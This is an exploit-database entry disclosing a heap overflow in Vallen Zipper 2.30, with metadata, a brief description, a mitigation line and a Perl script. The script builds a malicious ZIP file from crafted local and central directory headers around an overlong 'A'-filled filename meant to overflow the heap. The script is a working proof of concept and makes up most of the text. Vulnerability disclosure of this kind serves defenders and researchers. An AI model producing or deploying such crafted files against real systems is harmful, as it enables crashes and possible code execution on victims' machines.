Vallen Zipper V2.30 .ZIP File Heap Overflow

vendor:

Vallen Zipper

by:

C4SS!0 G0M3S

7.8

CVSS

HIGH

Heap Overflow

119

CWE

Product Name: Vallen Zipper

Affected Version From: 2.3

Affected Version To: 2.3

Patch Exists: YES

Related CWE: N/A

CPE: 2.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WIN-XP SP3 Brazil Portuguese

2011

Vallen Zipper V2.30 .ZIP File Heap Overflow

Vallen Zipper V2.30 is vulnerable to a heap overflow vulnerability when processing specially crafted .ZIP files. An attacker can exploit this vulnerability by crafting a malicious .ZIP file and sending it to the victim, which can lead to arbitrary code execution.

Mitigation:

Update to the latest version of Vallen Zipper V2.30 or use an alternative software.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#
#[+]Exploit Title: Vallen Zipper V2.30 .ZIP File Heap Overflow
#[+]Date: 11\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.vallen.de/freeware/vzsetup.exe
#[+]Version: 2.30
#[+]Tested On: WIN-XP SP3 Brazil Portuguese
#[+]CVE: N/A
#
#
#

use strict;
use warnings;

my $filename = "Exploit.zip"; 

print "\n\n\t\tVallen Zipper 2.30 .ZIP File Heap Overflow\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";

print "\n\n[+] Creting ZIP File...\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

my $payload = "\x41" x 4064;

$payload = $payload.".txt";

my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(3);